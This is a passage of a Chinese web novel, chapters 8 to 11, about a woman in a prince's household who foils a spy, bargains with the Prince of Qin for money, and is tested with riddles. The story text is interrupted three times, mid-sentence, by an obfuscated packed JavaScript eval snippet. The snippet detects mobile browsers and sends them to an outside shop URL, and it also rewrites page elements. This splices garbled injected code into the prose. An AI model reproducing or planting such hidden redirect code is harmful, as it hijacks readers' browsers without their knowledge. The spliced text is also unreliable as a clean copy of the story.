沈翩枝心生警惕,李暄这个时辰传唤,莫非宫里又来人了?还是他察觉到了什么? 那日在梅园,李暄阴戾的眼神她还记在心里,思来想去还是给自己上个保险。 叫小荷给她梳了个流苏髻,又从箱底翻出月白交领素襦裙,外罩选了藕色暗纹绫罗褙子,整个人褪去往日明艳秾丽,添了几分清冷娴静。 万一等会情况不对,这身装扮多少能唤起些李暄对枝枝的怜惜。 小荷打量她不同于以往的装扮,欲言又止。 沈翩枝干咳了声,心虚道:“换种风格,新鲜一下。” 这叫识时务者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17558433|204188||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为俊杰! 临出门时,她连喝了好几碗茶润喉,防备今夜要打持久战。 正殿的门大敞着。 沈翩枝远远便瞧见殿前跪了个人。那人影缩在殿门一侧,身形瘦小,穿的是府中婢女的衣裳,肩膀瑟缩着一抖一抖的。 走近一看,认出是小竹。 她的脚步微不可察地滞了一瞬,又若无其事往前走,行至李暄书案前,敛衽躬身行礼。 李暄靠在铺着狐裘的太师椅上,一身云白暗花罗圆领袍,束着白玉冠,慵懒的坐姿却掩不住浑身矜贵凛然的气势。 他手中捏着一册泛黄账册,见她走近,方才徐徐掀起眼皮,指尖悠哉悠哉地轻点案几:“有人说你们二人要谋害本王,你们认识吗?” “不认识。” “认识。” 两道截然相悖的话音同时响起。 李暄眉头微挑,随手将册子搁在案上,缓缓直起身。 他身形颀长挺拔,衣袍随着动作微微垂落,站定时比她高出整整一个头,无形的气势漫开,沉沉笼罩下来,压得她喘不过气。 小竹心头一慌,当即改口:“奴婢想起来了,这位姑娘前几日在梅园赏雪,她的婢女还叫我拿了把剪子。” 沈翩枝无视小竹急切的眼色,自宽袖中取出那支竹制迷烟,摊在李暄面前:“殿下,她叫小竹,前几日在梅园塞给我这管迷烟,命我趁机迷晕殿下,偷出赈灾账本。” 小竹浑身一僵,难以置信地盯着沈翩枝。 她万万没想到灵芝会背叛太子殿下。 沈翩枝忽地转头,眉眼间笼上一层水汽,声音低柔:“小竹,对不起。我实在无法违背自己的心去做伤害秦王殿下的事。” 小竹大概没想到会是这个理由,又急又气,抬手颤抖地指着沈翩枝:“你、你……” 沈翩枝回眸,目光盈盈望向李暄,眼里泛起泪光:“因为我爱上了秦王。” 小竹的眼神从震惊变成鄙夷,讥讽道:“原来攀上另一根高枝了。” 沈翩枝道:“秦王俊秀非凡,强壮骁勇…”偷嗔了上方的男人一眼,娇羞低下头:“我心驰荡漾,难以自拔。” 小竹冷笑了声:“天真,他不过是把你当诱饵。你以为他会放过你吗?” “即便如此,我也愿意!” 沈翩枝像极了恋爱脑癌晚期患者,一副深陷情网的模样,她坦白:“殿下,奴婢承认,起初入府是受太子所托。” 既然李暄能把人找出来跟她对峙,手里必然握着实打实的铁证,她否认只会让自己陷入被动。 她狠心一扭大腿外侧,眼泪簌簌而下:“可自见到您后,奴婢的心便不由自己控制了,入府以后更是从未做过任何对不起您的事情。” 李暄冷淡地挑了挑眉,不为所动。 沈翩枝暗骂他不懂配合,咬牙演下去。 她揪住心口,流泪满面忏悔道:“一想到要伤害殿下,奴婢便心神不宁,无法下手。” 李暄终于开口了,似笑非笑:“是吗?” 沈翩枝忙不迭点头,眼神闪烁:“脑子好像有个声音在说绝不能伤害您。” 这么明显的提示,他总能听懂了吧。 府内太子眼线众多,与其一直小心翼翼隐藏身份,应对每一次试探与指派,不如索性挑明。 李暄平静眼底掠过一丝涟漪。 她条理分明,步步拿捏分寸,先自曝身份让他抓不到把柄,再摆事实没有做出格的事,让他找不到由头发落,最后还不忘用枝枝制约他。 能在这么短时间内做出对自己最有利的选择,之前倒是小瞧了她。 李暄忽然笑了,那笑很轻,只在唇角浮了浮便敛下。 “你的意思是,你要背叛太子,归顺本王?” 沈翩枝眼底的泪光愈发晶莹,殷切道:“奴婢想留在殿下身边。” 李暄重新落座,将身子朝后靠了靠,十指交叠搁在桌上,目光在她微微泛红的眼角上停了停:“口说无凭,你要证明给我看。” 沈翩枝谨慎问:“如何证明?” 李暄指尖一偏,落在旁边的紫檀剑架上,不紧不慢道。 “杀了她,今后你便是我的人。” 9.第 9 章 此话一出,殿内空气骤然凝滞如冰,李暄居高临下睨着她,目光冷沉如刃充满压迫感。 沈翩枝僵在原地,头皮阵阵发紧,连呼吸都下意识放轻。 别说杀人,她连条鱼都没杀过,生平唯一做过残害生命的事就是把活虾扔进沸水里。 她用余光瞥了小竹一眼,后者双目失神,似乎被吓傻了。 沈翩枝脑海里的第一个念头就是装晕,借枝枝的身份逃过这劫,可当她不经意对上李暄薄凉的眼眸时,一股寒意从脚底窜至头顶,瞬间掐灭了这个想法。 他是故意在“枝枝”绝不会出现的时辰找小竹与她对峙的。 李暄或许信枝枝在她体内,但对“记忆不互通”的说法心存疑虑。他疑的不是枝枝,而是灵芝。万一只有枝枝记忆不互通,而灵芝却在装糊涂呢? 她现在装晕换成枝枝只会弄巧成拙,失去李暄的信任。 难怪他日后能扳倒太子、登上帝位,这般深不可测的城府,便是面对心心念念的枝枝,也始终留着三分理智。 沈翩枝后背沁了层冷汗,脑子飞速转动。 不杀,李暄会时刻防备她,根本没有机会调查枝枝的事。况且她已经当着小竹的面投诚李暄,等于得罪太子,若不能让李暄保她,她恐怕活不了多久。 可她真的不敢杀人啊。 李暄指节敲击案几的声音沉稳有力,规律而缓慢的间隔时间带来成倍的压迫感,他不变喜怒道:“很难选?看来你心里还有旧主。” 他眼神若有似无瞟过剑架,威胁意味不言而喻。 沈翩枝一咬牙,猛地站起来,颤颤巍巍往剑架走过去。 左手握住剑鞘的瞬间,李暄和小竹同时望过去。 好重。 沈翩枝使出浑身的力气方才取下一柄长剑,长剑离架,所有重量压在她的手上,一不留神没拿住。 忽地哐当一下,剑摔在地上。 殿内一片死寂。 两双直勾勾的眼睛盯着她,沈翩枝尴尬道歉:“对不住,我手滑!” 小竹眉头紧锁,目光盯着地上的剑。 沈翩枝慌乱蹲下去捡。 并非她刻意捣乱,完全是因为紧张过度,一想到要杀人,她的手止不住颤抖。 李暄低笑一声,起身绕过红木案,几步走到沈翩枝身旁。不等她反应,便从她手中夺过长剑。 沈翩枝正暗自庆幸他改变主意,却见李暄利落地抽出剑身。 寒光一闪,沈翩枝只觉掌心一沉,冰冷的剑柄被强行塞入掌心,凹凸不平到雕花上还残存一丝若有似无的体温。 “拿稳了。”他用手里的剑鞘抵住她后腰,往前一推,“去吧。” 变故发生在电光火石之间。 方才还惶惶不安的小竹,眼神骤然变得锐利如鹰,袖口悄然滑落一柄短匕,身形一纵,便朝着李暄与沈翩枝的方向猛冲过来。 沈翩枝夹在两人中间,吓得手一松,长剑再次落地,想也没想地往李暄身后躲。 如果小竹只有一次机会,她肯定选择杀李暄,而不是她这个叛徒。 小竹脚尖一点,一提拾起长剑,嘲讽道:“多谢秦王的武器。” 话音未落,便提着长剑直奔李暄而去。 李暄神色不变,身形微侧,举起剑鞘格挡,动作干脆利落。 两人缠斗在一起,你来我往间,小竹愣是没让李暄有机会靠近剑架取其他兵器,同时拦住出口防止沈翩枝叫人。 沈翩枝远远躲在角落,目光紧紧盯着战场,不敢有半分松懈。 打斗剧烈,李暄还有闲心讥讽:“原来你们是在合伙演戏。” 沈翩枝冤枉啊,连忙辩解:“殿下,我不知道小竹会武功。” “那你躲的挺快。” “我知道自己不会武功啊。” 沈翩枝不遗余力地夸赞他:“殿下武功盖世,区区一个刺客,定然能轻松拿下。在奴婢心中,殿下本就是顶天立地的大英雄,奴婢遇险,自然第一时间想着依靠殿下。” 回应她的是两声嗤笑。 沈翩枝暗暗咋舌,这人真经得住夸。 “红豆将军!”她忽然扬声唤道:“快来抓刺客。” 小竹下意识回头,却见屋外空无一人,方知着了道。 李暄抓住空隙,剑鞘重重打在小竹手腕上。 “当啷”一声,长剑落地,小竹手腕受创,脸色骤白,眼见敌不过,眼神一沉便要咬碎齿间的毒囊。 李暄眼疾手快,一把扣住她的下颌,稍一用力,便卸了她的下颌,沈翩枝隐约听见一声脆响。 小竹不知是痛的还是气的,两眼一翻晕倒在地。 沈翩枝使劲鼓掌:“殿下好身手!” 李暄冷冷瞥了她一眼,硬生生堵回她一肚子奉承的话。 沈翩枝迈着小碎步跑到李暄面前,假惺惺急切道:“殿下,您可有受伤?方才奴婢真是好生担心您。” 说着,想伸手摸他。 李暄后退一步,拒绝意味明显。 沈翩枝讪讪缩回手。 李暄重新把剑递到她跟前:“她动不了了,你可以杀了。” 沈翩枝倒吸一口凉气,小竹都这样了,还要杀? 李暄见她迟迟不动手,凉凉道:“她想杀你,你不动手是对她有同袍之情?” 沈翩枝是不敢,也不想杀人。 她知道这地方视人命如草芥,却依旧无法像李暄这样轻描淡写地取走一个人的性命。 她深吸一口气:“殿下误会了。我是觉得与其杀了小竹,不如利用她引出府中的其他暗桩。” 李暄收回剑,好整以暇地看着她:“说说看?” 沈翩枝压下心里的难受,有条不紊道:“先放出风声说账本被偷,窃贼被重伤却失踪。其余人必然会来寻小竹,确认账本是否被销毁。您再透露小竹藏身的地方,等着他们自投罗网便是。” 这一刻,她觉得自己异常虚伪,好像不是她亲自动手,杀人便与她无关。 李暄与太子势同水火,像小竹、灵芝这样的马前卒,不知要死伤多少。今日不杀小竹,来日会有更多人因小竹落入李暄手中,生死未卜。 但她首先要活下去。 王府里的卧底一天不除尽,她一日无法安枕。 沈翩枝怀疑,李暄接连三夜召她“侍寝”,刻意放任府中流言四起,目的是以她为饵,引蛇出洞。 李暄这会儿对沈翩枝倒真有点刮目相看,看来她脑子里装得不仅只有那些风月韵事。借着小竹,他也摸透眼前人的心性,机灵,惜命,心软却清醒。 此时她神情恹恹,眉眼间添了几分难以掩饰的沉郁,与记忆中的脸再一次重合。 李暄攥紧剑柄,不动声色地从流苏髻上移开视线。 侍卫把小竹拖走,李暄大手一挥让沈翩枝也退下。 沈翩枝没走,转而一副委屈巴巴道:“殿下,奴婢今日已然当众背叛了太子,往后太子定然不会放过奴婢。求殿下看在奴婢的一片真心上……” 她朝李暄眨巴眨巴眼睛,柔情似水道:“今夜,可否有幸伺候您。” 李暄那点恍惚顷刻间烟消云散,一字一顿道:“你想得美。” 沈翩枝咬牙暗骂,但她面上半分不露,嘴唇一瘪,眼眶说红就红,抽抽噎噎地垂下头,活脱脱一个痴心错付的可怜人。 李暄额角突突直跳,很有几分想砍了她的冲动,然而眼前浮现她方才垂眸时刻意隐藏的淡淡厌色,心中莫名涌现几分难言的异样。 他强压着不耐:“你既已是本王的人,本王自会保你性命。今日献策有功,理应有赏。” 沈翩枝等的就是这句话。 谁稀罕睡他,不过是先抛出一个他无法接受的要求,等他拒绝,再提真正的条件更容易成功。 她抹掉快要蒸发的眼泪,准备狮子大开口好好敲他一大笔。 李暄警告她:“别得寸进尺,记住你的身份。” 沈翩枝含泪看了李暄半晌,似在控诉落花有意,流水无情。而后才不舍地向他提出等秦王府里的奸细悉数落网便给她一大笔钱,再派人平安送她回乡,另外需跟当地父母官打声招呼护她周全。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17566574|204188||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >后面的一堆乱七八糟都是迷惑李暄的障眼法,沈翩枝的目的只有钱。 李暄大方同意,但提出一个条件,要她负责迷惑那些窥探他房内之事的眼睛,破除他不近女色,有隐疾的流言。 为期一年。 一年后若是没露馅,赏赐翻倍。 沈翩枝心里乐开了花,但面上佯装贼心不死地试探:“如果殿下想假戏真做,奴婢也是愿意的。” 李暄没接话,面无表情,眼神警告她离他远点。 沈翩枝缩了缩脖子,小声提议:“既然奴婢是殿下的宠爱之人,是不是该挪一挪位置,比如偏殿。” 她惦记偏殿精致华美的白玉澡池整整七日了。 李暄后悔自己对她一时心软,斜睨她道:“你是真敢提。不知未来的王妃胆子是否如你一般大。” 他对沈翩枝的评价多了一个蹬鼻子上脸。 沈翩枝退而求其次,理直气壮要求将偏院里的家具装饰,尤其是寝具更换成与偏殿里的一模一样,来彰显秦王对她的厚爱。 李暄被气笑了:“你的命都在我手里,还敢挑三拣四。” 沈翩枝语气一软,挤眉弄眼道:“若是我看上去不体面,别人也不会相信您宠爱我的。” 李暄不耐地挥手让她赶紧走,再一次暗骂自己昏了头。 这个贪得无厌的女人哪有一丁点儿像枝枝。 沈翩枝喜滋滋地转头就拉柳公公去偏殿逐一确认自己看中的东西。 柳公公自不会听信她的一面之词,赶紧去禀了秦王。 秦王的态度也耐人寻味,既没有说给,也没有说不给,只说她选了什么逐一记下来,再容他定夺。 柳公公跟在秦王身边多年,知晓他并非小气之人,相反对手底下慷慨,不会计较金银之物。 沈翩枝没察觉到柳公公看她的异样目光,欢欢喜喜去挑东西。 她懂得见好就收,挑的都是实用的家伙,譬如青绿重锦衾,金丝软枕,红毡,紫绡帐,她还特地问柳公公要了熏香。 至于什么汝窑笔洗,玉如意,翡翠葫芦,玉石屏风之类华而不实的摆件她一个也没提。 几日后,东宫兰室内,太子李玠正拿着金剪慢条斯理地修剪枯枝。 他身着月白素面的交领襕衫,通身上下不见一丝华贵金线,袖口挽起,露出清瘦的手腕,周身萦绕着温润谦和的气息。 李玠长相清俊,眉眼温润,总是含着浅笑,让人觉得如沐春风,不禁卸下防备,心生亲近之意。 屋外有人求见,太子隔着门不紧不慢问:“何事惊慌?” 心腹兰生焦急道:“秦王府的眼线全部失去了消息。” 太子手里的剪刀咔嚓一下剪断废叶,气定神闲道:“失去消息就想办法弄清楚发生什么事,慌什么?” 柔和沉着的嗓音感染了门外的人,兰生定了定心神,恭声应诺。 李玠问:“梁尚宫那边怎么说?” “秦王对灵芝似乎十分宠爱,竹隐最后一次传消息说她连续侍寝三日。” 李玠浅笑了声,这不过是他都好侄儿放出来的烟雾弹,骗宫里的皇帝皇后罢了。 他捧起案上修剪好的兰花,缓步走出兰室,兰生连忙上前,接过他手中的汝窑天青釉盆。 兰生迟疑道:“那账本该怎么办?” 李玠轻轻拍了拍手里的灰土,轻描淡写道:“全灭永泰,以秦王的名义。” 兰生顿时心疼起来,永泰商行是太子多年培养暗桩,明面上是做生意的,实际上还负责处理各种难以在明面上解决的事情。 李玠似乎看透他的心思,温笑道:“别舍不得。永泰没了,还有永和,永旺……要紧的是我们干干净净。” 兰生却仍有不甘:“这回还是让秦王占了上风。” 他们损失了一个得力帮手。 李玠眉眼微弯,却无半点暖意:“未必。” 只要灵芝没死。 他抬头,天光照进眼底深处藏的矜贵与威仪。 “把这盆鱼枕兰放到大哥他们房里,大嫂生前最爱这种花。” 10.第 10 章 那日得了李暄的首肯,柳公公领命去西边库房挑东西,出来时捡了五六个朱红漆箱笼,每一只都沉甸甸的,由两个健硕的仆役抬着。 他领着队伍特意沿着秦王府主路缓缓绕行。 一路途经回廊水榭、仆婢院落,往来值守的下人、伺候各院的婢女纷纷侧目。 箱笼缝隙间,锦缎流光、珠宝微光若隐若现,惹得人人忍不住多看几眼,柳公公也不瞒着,说是秦王给灵芝姑娘的赏赐,彻底做实沈翩枝盛宠加身的流言。 两个时辰后,所有物件方才送至小院。 沈翩枝存心与柳公公交好,随意拿起一幅画卷塞进他手里,无视他面上一闪而过的惊讶。 等人散去,她和小荷将里面的东西一一取出来,盘点物件。 除却她点名要的软枕锦被,还有一张黄花梨香几,上层可陈设狮形三足铜鎏金博山炉,下层摆放青釉弦纹长颈瓶,简陋的厢房骤然添了几分古朴雅致的贵气。 箱子里还有各式各样的簪、钗、梳背、步摇,耳饰,手镯等精美物件,铺开时晃得人眼花缭乱。 “我从没见过这么多好东西。”小荷看得眼睛都直了,小心翼翼抚摸着云纹暗花罗,触手细滑温热,是上好的蚕丝里料,忍不住咽了咽喉咙:“都是殿下赐的吗?” 沈翩枝坐在新铺的软榻上,把红木匣子里的银锭数了一遍,满意点点头:“都是。” 遭受一通惊吓,都是李暄应该补偿给她的。 小荷见沈翩枝宠辱不惊,顿时佩服得五体投地。 主仆二人整整收拾了一个下午,动静不小,声势浩荡,屋内陈设尽数更换,连日常用的茶具,也从先前豁口的粗瓷碗,换成一套莹润雅致的青釉莲瓣茶盏,处处透着焕然一新的精致。 沈翩枝懒洋洋躺在柔软舒服的床上,觉着这才是生活。 小荷在收拾布匹时问她怎么选的都是素净的花色,她知道灵芝姑娘平日里喜欢打扮艳丽,说是这个年纪就该穿鲜艳些而不是寡淡的像在服丧。 沈翩枝随口搪塞说如今她深受宠爱,更要低调些。 实际上心想李暄日常穿衣非黑即白,素来偏爱冷调,想来他心心念念的白月光枝枝也喜欢这个调调。若要长久扮演枝枝,穿衣打扮上总得贴合人设。 等小荷收拾完,沈翩枝拣了一锭银子放到她手里,“这段日子辛苦你照顾我了。” 沉甸甸的银子坠在掌心,小荷受宠若惊:“这也太多了,有二十两呢。比奴婢当初送给管事的还多一倍。” “什么?”沈翩枝眉头一皱:“有人问你索要孝敬?” “不、不是。”小荷连忙解释:“是我自己要送的。” 她把自己给王府管事送钱,央求掉到沈翩枝身边伺候的事和盘托出。 沈翩枝万万没想到伺候宫里来的人还是个抢手的活,好奇问:“小青花了多少?” 小荷欲言又止:“她没花钱。” 沈翩枝乐了,虚荣地想看来她比杜若要抢手些。那日被莫名其妙瞪了眼,她虽说不在意,心里还是有点不舒服的。 又不是她想去伺候李暄的,再说她也没去杜若面前炫耀什么。 还没等她高兴多久,小荷一盆冷水浇下来,说小青是被走投无路才来的。 秦王出了名的不近女色,府中上下没人愿意来伺候她们。有门路,有钱的都想办法躲开这处没油水没前途的地方,只有小荷傻乎乎地被人骗了十两银子还被坑过来。 在京城这样繁华的地方,十两银子足够一户寻常人家省吃俭用嚼用大半年,若是再精打细算些,便是一整年的口粮。 小荷一股脑地赌在她身上,说不出是傻还是笨。 小荷眼神坚定:“我真心想来伺候您。我一见到姑娘,就觉得您整个人在发光。跟着您一定能飞黄腾达!” 沈翩枝被夸得飘飘然,还不忘牢记这句话等着下回哄骗李暄时用上。 小荷说完后有些心虚,“姑娘,您是不是觉得我趋炎附势,贪慕名利。” 沈翩枝扬唇一笑:“想过荣华富贵的好日子,不是可耻的事。你不努力,不去争,难道好日子会像天上掉下来的馅饼,凭空落在你怀里吗?” 小荷怔怔看着她,嘴唇哆嗦了两下什么也说不出来。 沈翩枝指着焕然一新的屋子,骄傲道:“这些都是我拼命筹谋争取来的。咱们一没偷,二没有抢,三没有害人之心,坦坦荡荡,受之无愧。” 她从匣子里又取出两锭银子往小荷手里塞,冲她眨了眨眼:“你的回报来了。” 小荷捧着那锭沉甸甸的银子,鼻尖一酸,眼泪啪嗒啪嗒直往下掉:“姑娘,您真是个好人。” 沈翩枝噗嗤笑了出来,扯过帕子给她擦了把脸:“行了,别哭了。去把柜子里那两匹月白杭素罗拿出来,再挑几样好看的首饰耳珰,给隔壁送过去。” 小荷擦眼泪的动作顿住了,脸瞬间拉长:“给杜若姑娘?姑娘,您知不知道前几日小青老是鬼鬼祟祟在咱们院外头转悠,探头探脑的,一看就没安好心。” “小青?”沈翩枝想了想:“我之前也在院门口遇见过她,她看我像耗子见了猫似的。” “她们多半在憋着坏水!”小荷忽然想到打听来的消息,愤愤道:“有人说私下里传梁尚宫是杜若姑娘的亲姑姑。姑娘您想想,上回梁尚宫来者不善,多半是杜若在背后嚼舌根。” 她义愤填膺道:“您倒好,非但不计较,还要送东西过去!” 沈翩枝脸上笑意一顿,转瞬眼底闪过狡黠。 没想到杜若和梁尚宫还有这层关系,简直是瞌睡来了送枕头。 她走到妆奁前又特意挑了支金镶水晶缠枝钗,一条银鎏金多宝项链一并递给小荷,眼底藏着兴奋:“快去送,记得要礼数周全些。” 小荷瞪大了眼,实在不明白灵芝姑娘葫芦里卖的什么药,难道是假装示好迷惑敌人,再出其不意一网打尽? 沈翩枝见小荷满脸困惑,怕她坏自己的事,压低声音道:“小荷,秦王属实勇猛过人。”她顿了顿,羞涩道:“我一个人、一个人实在是伺候不过来,多一个人替我分担是好事。” 小荷听得耳根子骤然发热,脑子骤然浮现出替灵芝姑娘擦药时,她后背骇人的青紫,暗忖秦王殿下确实不懂怜香惜玉,一时不由心疼起她。 是富贵,也累人啊。 沈翩枝继续胡说八道:“咱们的眼光且得放长远些。往后秦王后院难道只有我和杜若吗?我一个人是斗不过所有人的,与其多一个敌人,不如多一个朋友。” 小荷不喜欢杜若那副高高在上的模样,嘟囔道:“为什么是杜若姑娘?” “我与杜若再怎么说都是宫里出来的,应当团结一致。”沈翩枝条理清晰道:“再说咱们在宫里没人,而梁尚宫在皇后娘娘身边伺候,与杜若交好,岂不是能知道宫里的动向。若是秦王在宫里有个什么风吹草动,咱们也能提前知晓,早做打算。” 一番话说得小荷心里疑惑尽数烟消云散,她仰着小脸一眨不眨地望着沈翩枝,眼底的崇拜几乎要溢出来。 “姑娘,您太厉害了,想的也周全,还有容人之量!奴婢觉得自己这辈子做过最聪明的事,就是跟了您!” 沈翩枝干咳两声,心虚地移开目光。 她哪有什么容人之量,只不过想把杜若拉上这条贼船,一同替李暄遮掩盛宠的假象。日后梁尚宫再奉命入府查验,为保侄女,必然会帮着一同遮掩。 这等于把检查官变成同伙。 假扮白月光终究不是长久之事,更何况再过两年,李暄和太子就要撕破表面和平,真刀真枪动手,她要在此之前溜之大吉。 小荷虽然被说服,但还是心疼地拿起东西去杜若屋里。 她往外走时眼圈还有些泛红。 当初爹娘哥嫂都劝她别孤注一掷,拿着银子比什么都强,可她不甘心啊。 他们家是平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17569860|204188||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头百姓,只有她一个有幸能接触到像秦王这样的权贵,她自知容貌平庸,亦无惊世之才,几乎难入秦王的眼。 就在她认命准备出府嫁人,困于瓦房灶台,庸碌一生时,灵芝姑娘出现了。 小荷很难形容当时的感觉,用娘的话来说就是中了蛊似的。 周围有人看出她的野心,嘲笑她蠢笨不堪白白亏了十两银子,讽刺她不自量力,认不清自己的身份。 小荷擦掉眼角残留的泪痕,掂了掂鼓鼓的荷包,挺直背脊。 她想过荣华富贵的日子,不是可耻的事。 往后几日,李暄皆未曾传唤沈翩枝,听闻是京郊赈灾一事突发变故,他连夜赶过去。 沈翩枝乐得清闲,窝在厢房里数钱,顺便从小荷那儿打听外面的事儿,其中便包括李暄最大的对手太子李玠。 沈翩枝听完他的种种事迹之后沉默了。 当年故太子也就是李暄的生父战死,朝堂动荡,还是皇子的李玠临危受命亲赴前线,力挽狂澜。他不仅大败敌军替李暄报了父仇,还在后来李暄出宫建府时出钱出人。 朝野上下提起这位储君,无不称颂其贤明,且他性子温润儒雅,礼贤下士,入住东宫以来行事挑不出半分错处,衬得与太子争夺皇位的李暄像个狼子野心、恩将仇报的反派。 反派李暄仿佛听见了她的腹诽,当晚召她前去正殿。 入殿之前,柳公公引她去往偏殿的白玉澡池沐浴。 温热的泉水漫过肩颈,氤氲水汽缭绕周身,熏得人眉眼慵懒,浑身松弛,沈翩枝心里有了数。 李暄今夜想见的是枝枝。 他对枝枝细心周到,极尽妥帖,对灵芝却呼来喝去,只会让她干活。 舒舒服服沐浴完毕,沈翩枝换上一旁准备好的月白绣素兰的襦裙,缓步踏入正殿。 殿内地龙生暖,烛火灼灼,一室融融春意。 李暄坐在案前,一身玄色常服,未束发冠,长发随意披在肩头,少了几分平日里的冷硬,多了几分柔和。 见她进来,抬眸而视,嘴角挂着一丝耐人寻味的浅笑:“今日我们来玩一个游戏,或许对你恢复记忆有所帮助。” 沈翩枝脸颊烧了起来。 大晚上的孤男寡女,独处一室,玩什么游戏不言而喻。 这一天终于还是来了。 李暄能忍这么久不碰白月光已经超出沈翩枝的预料,她脑海里不受控制掠过他们两人没羞没臊的不正经日常,心里却琢磨等会怎么让他扫兴。 有句话说得好,嘴上能骗人,身体很诚实。 毕竟她不是真的枝枝,床第之间露出破绽的可能性极大。 别看她平日里对中外脍炙人口,五颜六色的著作倒背如流,实则实践一片空白。 再说看书图个刺激,轮到自己她压根不敢想象有人能扭成那种和那种姿势。 沈翩枝慢吞吞挪步到李暄跟前,指尖紧紧攥住衣角,耳边自动播放李暄跟白月光在书桌前不堪入耳的对话。 目光忸怩地落在他修长有力的手指上,食指微蜷,拱起一个令人遐想的弧度。 莫非要来个场景重现找回忆? 沈翩枝心跳加速,连带着全身血液也难堪地沸腾起来。 李暄瞥见灵芝耳根涌现出一团绯红,血色以迅雷不及掩耳之势蔓延至整个脖颈,逐渐加深,整个人像是被蒸熟的虾僵在原地。 他盯着纸上写的东西,皱眉不解。 指尖轻敲,几声沉笃的响动,将沈翩枝倏然从羞耻的臆想中唤回神。 李暄指着案上的纸道:“还记得这个吗?” 沈翩枝不敢直接去看纸上的字,暗自告诫自个儿等会无论看见什么露骨狂放的内容都不许大惊小怪,而后深吸了口气,才缓缓凑上去。 然而待看清上面的内容后,她脸上表情还是没绷住。 一道数学题? 书上没说你们以前玩这个啊?! 11.第 11 章 白纸之上,墨字清隽。 沈翩枝认认真真将一行字读了三遍。 三三数之剩二,五五数之剩三,七七数之剩二,问数为几何?(注①) 每个字她都认得,可凑在一起便全然摸不着头绪。字句如同细碎跳动的音符,在眼前一晃而过,半点都留不下痕迹。 她脑子里乱糟糟盘旋着三三得九、五五二十五、七七四十九,偏生没有一句能对上李暄写下的谜题。 沈翩枝不免暗自揣测,对方莫非是存心刻意刁难。 李暄静坐案前,指尖叩击檀木案的动作倏然停歇。 殿内沉寂压人,肃穆气场一如科考考场。 唯一考生沈翩枝紧盯纸面,额间渐渐沁出细汗。 唯一的监考者李暄,周身漫开寒气,威压扑面而来。 “往日你凭心算便可得出结果。”李暄语调平淡,听不出喜怒。 沈翩枝心头压力陡然倍增,背脊绷直。 她心中叫苦不迭,表面依旧强作从容,委婉回话:““如今两魂共居一身,记忆纷乱繁杂,一时难以推算,还望殿下见谅。” 李暄指尖再度轻叩案几,清脆声响往复回荡。 她悄悄抬眸窥望,对方面容冷冽沉静,情绪深藏眼底,窥探不出半点心思。 不多时,他再度出声发问:“果子熟落,为何坠地?” 沈翩枝微微一愣,不假思索应声:“熟了啊。” 叩案之声骤然戛止。 李暄平静的面容劈开一丝裂缝,眉峰微微蹙起。 沈翩枝心头一颤,慌忙补救。 “是太过沉重?” “还是为人摘取?” “或被风雨吹落?” 李暄眉头拧得更紧,看她的眼神终于有了变化。 像在看傻子。 沈翩枝脸颊通红,腹诽果子不落在地上难道要上天? 等等,他该不会是在问著名的苹果树问题。 她幡然醒悟,枝枝确实有可能跟他浅浅提过缘由,但不一定说的是万有引力。 沈翩枝绞尽脑汁,憋出一套接地气又显得高深的说辞:“万事万物,终归尘土。有道是落叶归根,果子不飞天而坠落,是受大地牵引。” 她故作玄虚:“脚下大地千丈之下,自有无形力量牵引众生,我们方能头顶青天,脚踏实地。” 李暄没再追问无形力量是什么,这让沈翩枝悄悄放松绷直的肩,只是还不等她胸前的那口气儿完全喘出去,又听他问:“铜镜能照人影,为何木镜不能?” 沈翩枝力竭了,硬着头皮反问:“为什么有了铜镜还要用木镜?” 李暄看着她,忽然笑了一下。 那个笑短促而尖锐,转瞬即逝。 沈翩枝脸颊烧得滚烫,背脊却蹿起一阵凉意。 李暄眼神溢出几分嫌弃,语气肉眼可见地冷淡下来:“月有阴晴圆缺……” “此事古难全!” 沈翩枝激动抢答,终于有道她会的题。 她双手撑在案几,脸上洋溢着兴奋,语调却柔情似水,像是在诉说爱意:“但愿人长久,千里共婵娟。” 李暄本意是想问月相盈亏的缘由,可一抬眼,只见玲珑的身子几乎探过半张案面,直达他的面门。 她眼眸澄澈似盛满星光,隐隐映出他的轮廓。 四目相对的刹那,李暄的左手在案桌下倏地攥紧,只有一下,又悄然松开。 沈翩枝后知后觉,二人距离只剩一拳之隔,对面人眸色沉如寒渊,静静落于她身上。 她睫羽猛地一颤,眼尾晕开淡淡绯色,慌忙向后抽身,局促转移话题:“不如我教殿下几句暗语?” 她自认对德语还是有点自信的,应该比枝枝说得好,她实在不想回答这些奇奇怪怪,容易暴露智商的问题。 鬓边一缕青丝顺着耳畔垂落,轻轻扫过微凉案面,一缕浅淡幽香悄然漫开,萦绕在二人之间。 李暄黑沉无波的眸底,漾开极浅的一圈涟漪,须臾又覆上一层薄霜。 